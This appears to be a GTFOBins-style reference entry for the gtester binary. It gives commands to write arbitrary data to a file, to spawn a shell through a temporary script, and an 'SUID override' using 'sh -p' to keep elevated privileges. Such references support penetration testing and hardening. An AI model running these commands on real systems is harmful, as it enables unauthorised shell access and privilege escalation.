gtester

File Write

Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).

gtester DATA -o /path/to/output-file

Shell

echo 'exec /bin/sh 0<&1' >/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file

SUID override:

echo '#!/bin/sh -p' >/path/to/temp-file
echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file